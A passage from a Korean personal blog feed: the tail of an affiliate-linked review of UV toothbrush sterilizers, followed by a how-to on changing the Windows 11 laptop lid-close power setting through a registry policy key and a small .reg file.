&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;칫솔도 물기를 털고 &lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;제품에 사용&lt;/b&gt;&lt;/u&gt;해야합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;끝!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;건조판이 양쪽에 있으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 좋을 거 같지만...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 제품에선&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무선 건조가 되는 것도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감지덕지해서...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;:)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://coupa.ng/b93dDU&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;커비랑 CVR-HT20&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1636194863562&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;자외선 칫솔 건조 살균기 커비랑 CVR-HT20 양치컵 파우치 제공 친환경 양치 습관&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/b93dDU&quot; data-og-url=&quot;https://www.coupang.com/vp/products/6055449898&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/evHPga/hyMgDoUhyf/rZNlNKN9HfDdvrZq0ZjNt1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/b93dDU&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/b93dDU&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/evHPga/hyMgDoUhyf/rZNlNKN9HfDdvrZq0ZjNt1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;자외선 칫솔 건조 살균기 커비랑 CVR-HT20 양치컵 파우치 제공 친환경 양치 습관&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 커비랑 처럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무선 건조가 되는 제품들입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://coupa.ng/b93dLc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;클레온 무선건조 칫솔 살균기&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 몇 ℃로 건조하는 지 안 적혀 있어서 안삼...&lt;/p&gt;
&lt;figure id=&quot;og_1636195004312&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;클레온 무선건조 휴대용 칫솔살균기 UV-C LCU-200P&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/b93dLc&quot; data-og-url=&quot;https://www.coupang.com/vp/products/6099563120&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dhQ76N/hyMfiNrr87/kWaKUxeBkOyr8YS3Wvy3a1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/b93dLc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/b93dLc&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dhQ76N/hyMfiNrr87/kWaKUxeBkOyr8YS3Wvy3a1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;클레온 무선건조 휴대용 칫솔살균기 UV-C LCU-200P&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://coupa.ng/b93edb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;오아 클린이퓨어PRO&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 팬이 있어서 바람 건조도 한다는 데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오히려 그 바람 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;열 건조가 안될거 같아서 안삼...&lt;/p&gt;
&lt;figure id=&quot;og_1636195199146&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;오아 클린이 퓨어 PRO 휴대용 유선 무선 겸용 UV C LED 자외선 칫솔 살균 건조기 OTS-004WH&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/b93edb&quot; data-og-url=&quot;https://www.coupang.com/vp/products/6122379783&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bg8wf4/hyMgxPLD5M/7lLd7mX78TYKeyCXpgByok/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/b93edb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/b93edb&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bg8wf4/hyMgxPLD5M/7lLd7mX78TYKeyCXpgByok/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;오아 클린이 퓨어 PRO 휴대용 유선 무선 겸용 UV C LED 자외선 칫솔 살균 건조기 OTS-004WH&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;구글 정책 문구...&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&quot;파트너스 활동을 통해 일정액의 수수료를 제공받을 수 있음&quot;&lt;/span&gt;&lt;/p&gt;</description>
      <category>리뷰</category>
      <category>CVR-HT20</category>
      <category>건조</category>
      <category>닥터피엘</category>
      <category>자외선살균기</category>
      <category>칫솔살균기</category>
      <category>커비랑</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/159</guid>
      <comments>https://chmodi.tistory.com/159#entry159comment</comments>
      <pubDate>Sat, 6 Nov 2021 19:47:23 +0900</pubDate>
    </item>
    <item>
      <title>[Windows 11] 노트북 덮개 절전모드 해제(레지스트리 수정)</title>
      <link>https://chmodi.tistory.com/158</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노트북에 윈 11을 설치하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;덮개 덮으면 절전모드 안가게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우 10과 동일하게 설정했지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;덮개를 덮어도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계속 절전모드로 들어가기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아예 레지스트리를 수정해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;regedit 실행&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레지스트리를 수정하기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;레지스트리 편집기를 실행&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;레지스트리 편집기 실행:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 윈도우 키(시작메뉴) &amp;gt; regedit 입력 &amp;gt; 레지스트리 편집기 선택&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;795&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;490&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8dsqL/btrilUWrARR/mSbG4CwwYQraLsCmno984k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8dsqL/btrilUWrARR/mSbG4CwwYQraLsCmno984k/img.png&quot; data-alt=&quot;regedit 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8dsqL/btrilUWrARR/mSbG4CwwYQraLsCmno984k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8dsqL%2FbtrilUWrARR%2FmSbG4CwwYQraLsCmno984k%2Fimg.png&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;795&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;490&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;regedit 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;키, 값 추가&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레지스트리 편집기에서 아래와 같이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;키와 값을 생성해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;생성해야할 키(위치):&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerSettings\5CA83367-6E45-459F-A27B-476B1D01C936&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;생성해야할 값:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- Value Name: ACSettingIndex(전원 사용), DCSettingIndex(배터리 사용)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- Value Type: REG_DWORD&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- Value: 0&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 위치에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Power\PowerSettings\5CA83367-6E45-459F-A27B-476B1D01C936&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;는 &lt;u&gt;&lt;b&gt;레지스트리 편집기에&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;없을 확률이 높습니다.&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없을 경우 &lt;u&gt;&lt;b&gt;직접 생성&lt;/b&gt;&lt;/u&gt;해주면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;382&quot; width=&quot;500&quot; height=&quot;261&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3RjVB/btrinPNCdJF/a4koK3WyezvkIm6XwvN3s0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3RjVB/btrinPNCdJF/a4koK3WyezvkIm6XwvN3s0/img.png&quot; data-alt=&quot;마우스 우클릭 - 키 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3RjVB/btrinPNCdJF/a4koK3WyezvkIm6XwvN3s0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3RjVB%2FbtrinPNCdJF%2Fa4koK3WyezvkIm6XwvN3s0%2Fimg.png&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;382&quot; width=&quot;500&quot; height=&quot;261&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;마우스 우클릭 - 키 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;키를 모두 생성했으면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DWORD(32비트) 값을 생성하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;371&quot; width=&quot;500&quot; height=&quot;257&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bluQFP/btringdHgX3/gca4AKAqBW3sFUkH2Ev0Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bluQFP/btringdHgX3/gca4AKAqBW3sFUkH2Ev0Bk/img.png&quot; data-alt=&quot;마우스 우클릭 - DWORD(32비트) 값 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bluQFP/btringdHgX3/gca4AKAqBW3sFUkH2Ev0Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbluQFP%2FbtringdHgX3%2Fgca4AKAqBW3sFUkH2Ev0Bk%2Fimg.png&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;371&quot; width=&quot;500&quot; height=&quot;257&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;마우스 우클릭 - DWORD(32비트) 값 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성할 때 이름을 적어주시면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 값을 더블 클릭하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;값을 수정할 수 있으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어차피 필요한 값이 0이라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 수정할 필요가 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;374&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;258&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rAVPN/btrinQThgOu/r47ZJOAnpPo8EYRjVoRs8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rAVPN/btrinQThgOu/r47ZJOAnpPo8EYRjVoRs8K/img.png&quot; data-alt=&quot;값 이름 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rAVPN/btrinQThgOu/r47ZJOAnpPo8EYRjVoRs8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrAVPN%2FbtrinQThgOu%2Fr47ZJOAnpPo8EYRjVoRs8K%2Fimg.png&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;374&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;258&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;값 이름 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 윈도우 재부팅을 하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노트북의 덮개를 덮어도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;절전모드로 들어가지 않습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;레지스트리 백업&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굳이 위의 과정을 직접하지 않아도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 레지스트리 파일을 실행하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동으로 설정이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/dNdEt3/btrinsE8lRF/b9xkrJYEuvWJr2XjkLjzoK/Win11_Laptop_PowerSetting.reg?attach=1&amp;amp;knm=tfile.reg&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;Win11_Laptop_PowerSetting.reg&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.00MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 위 파일의 내용입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1634717786485&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Power\PowerSettings\5CA83367-6E45-459F-A27B-476B1D01C936]
&quot;ACSettingIndex&quot;=dword:00000000
&quot;DCSettingIndex&quot;=dword:00000000&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈 11은 왜케&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부족한 설정이 많은 건지...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자기들도 직접 쓸텐데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐가 편하고 불편한지 모르나...&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 링크&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://admx.help/?Category=Windows_11_2022&amp;amp;Policy=Microsoft.Policies.PowerManagement::ACSystemLidAction_2&amp;amp;Language=ko-kr&quot;&gt;https://admx.help/?Category=Windows_11_2022&amp;amp;Policy=Microsoft.Policies.PowerManagement::ACSystemLidAction_2&amp;amp;Language=ko-kr&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1634718179927&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;덮개 스위치 동작 선택(전원 사용)&quot; data-og-description=&quot;덮개 스위치 동작 선택(전원 사용) 이 정책 설정은 사용자가 모바일 PC의 덮개를 닫으면 Windows에서 수행되는 동작을 지정합니다. 가능한 동작은 다음과 같습니다. -아무 작업 안 함 -절전 모드 -최&quot; data-og-host=&quot;admx.help&quot; data-og-source-url=&quot;https://admx.help/?Category=Windows_11_2022&amp;amp;Policy=Microsoft.Policies.PowerManagement::ACSystemLidAction_2&amp;amp;Language=ko-kr&quot; data-og-url=&quot;https://admx.help/?Category=Windows_11_2022&amp;amp;Policy=Microsoft.Policies.PowerManagement::ACSystemLidAction_2&amp;amp;Language=ko-kr&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://admx.help/?Category=Windows_11_2022&amp;amp;Policy=Microsoft.Policies.PowerManagement::ACSystemLidAction_2&amp;amp;Language=ko-kr&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; 